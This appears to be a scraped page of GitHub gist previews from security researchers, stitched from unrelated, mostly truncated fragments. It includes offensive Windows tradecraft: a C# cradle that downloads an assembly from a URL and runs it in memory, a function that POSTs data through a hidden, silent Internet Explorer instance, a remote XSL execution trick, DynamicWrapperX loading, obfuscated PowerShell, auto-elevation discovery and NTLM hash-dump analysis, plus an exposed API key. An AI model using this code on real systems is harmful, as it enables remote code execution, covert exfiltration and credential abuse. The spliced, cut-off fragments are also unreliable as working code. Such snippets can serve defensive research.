rvrsh3ll

//Example Reference:
// https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/
// Test 


new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Tools';
// Change that C:\\Tools to a location you specify, or dynamically find current directory.
// ActCTX will search for the DLL in TMP

var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 	<assemblyIdentity type="win32" name="DynamicWrapperX" version="2.2.0.0"/> 	<file name="dynwrapx.dll">     	<comClass         	description="DynamicWrapperX Class"         	clsid="{89565276-A714-4a43-912E-978B935EDCCC}"         	threadingModel="Both"         	progid="DynamicWrapperX"/> 	</file>  </assembly>';

janoglezcampos

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

typedef char * (*ParseHeaders)(LPCSTR, int *);

BOOL bCompare(const BYTE* pData, const BYTE* bMask, const char* szMask)
{
    for (; *szMask; ++szMask, ++pData, ++bMask)
        if (*szMask == 'x' && *pData != *bMask)  

mpj

const fetch = require('node-fetch')
const Bacon = require('baconjs')

function getInPortuguese(word) {
  // Google Translate API is a paid (but dirt cheap) service. This is my key
  // and will be disabled by the time the video is out. To generate your own,
  // go here: https://cloud.google.com/translate/v2/getting_started
  const apiKey =
    'AIzaSyB4DyRHIsNhogQXmH16YKbZfR-lTXrQpq0'
	const url =

bohops

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/6456162763d2bb427e71e41f84792867cb1b4c0f/xsl-notepad.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>

Evilcry

# Find Autoelevate executables
Write-Host "System32 Autoelevate Executables" -ForegroundColor Green -BackgroundColor Black
Select-String -Path C:\Windows\System32\*.exe -pattern "<AutoElevate>true"
Write-Host "`nSysWOW64 Autoelevate Executables" -ForegroundColor Green -BackgroundColor Black
Select-String -Path C:\Windows\SysWOW64\*.exe -pattern "<AutoElevate>true"

cobbr

public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }

bandrel

#!/usr/bin/env python3

#Purpose: To check for and reveal AD user accounts that share passwords using a hashdump from a Domain Controller
#Script requires a command line argument of a file containing usernames/hashes in the format of user:sid:LMHASH:NTLMHASH:::
# ./check_hashes.py <hash_dump>

import argparse
import re

parser = argparse.ArgumentParser(description="Check user hashes against each other to find users that share passwords")

mattifestation

${🤷} = New-Object Reflection.Emit.DynamicMethod('💩', [UInt32], @([UInt32], [UInt32]))
${🤔} = ${🤷}.GetILGenerator()
@(@(2, 275120805),@(3, 275120805),@(88, -261739867),@(42, 23440101)) | % {
    ${🤔}.Emit([Activator]::CreateInstance([System.Reflection.Emit.OpCode], [Reflection.BindingFlags] 'NonPublic, Instance', $null, @(($_[0] -as [System.Reflection.Emit.OpCode].Assembly.GetType('System.Reflection.Emit.OpCodeValues')), $_[1]), $null))
}
${💩} = ${🤷}.CreateDelegate([Func``3[UInt32, UInt32, UInt32]])
${💩}.Invoke(2,3)

vulnersCom

#petya #petrWrap #notPetya

Win32/Diskcoder.Petya.C

Ransomware attack.

About

This gist was built by the community of the researchers and was scribed by Kir and Igor from the QIWI/Vulners. We are grateful for the help of all those who sent us the data, links and information. Together we can make this world a better place!

Gist updates

leoloobeek

// sample function that takes in a destination server, POST data, and custom HTTP request headers
private string SendData(string dst, byte[] postData, string customHeaders)
{
    Type com_type = Type.GetTypeFromCLSID(new Guid("0002DF01-0000-0000-C000-000000000046"));
    object IE = Activator.CreateInstance(com_type);

    object[] falseArr = new object[] { false };
    object[] trueArr = new object[] { true };
    com_type.InvokeMember("Visible", System.Reflection.BindingFlags.SetProperty, null, IE, falseArr);
    com_type.InvokeMember("Silent", System.Reflection.BindingFlags.SetProperty, null, IE, trueArr);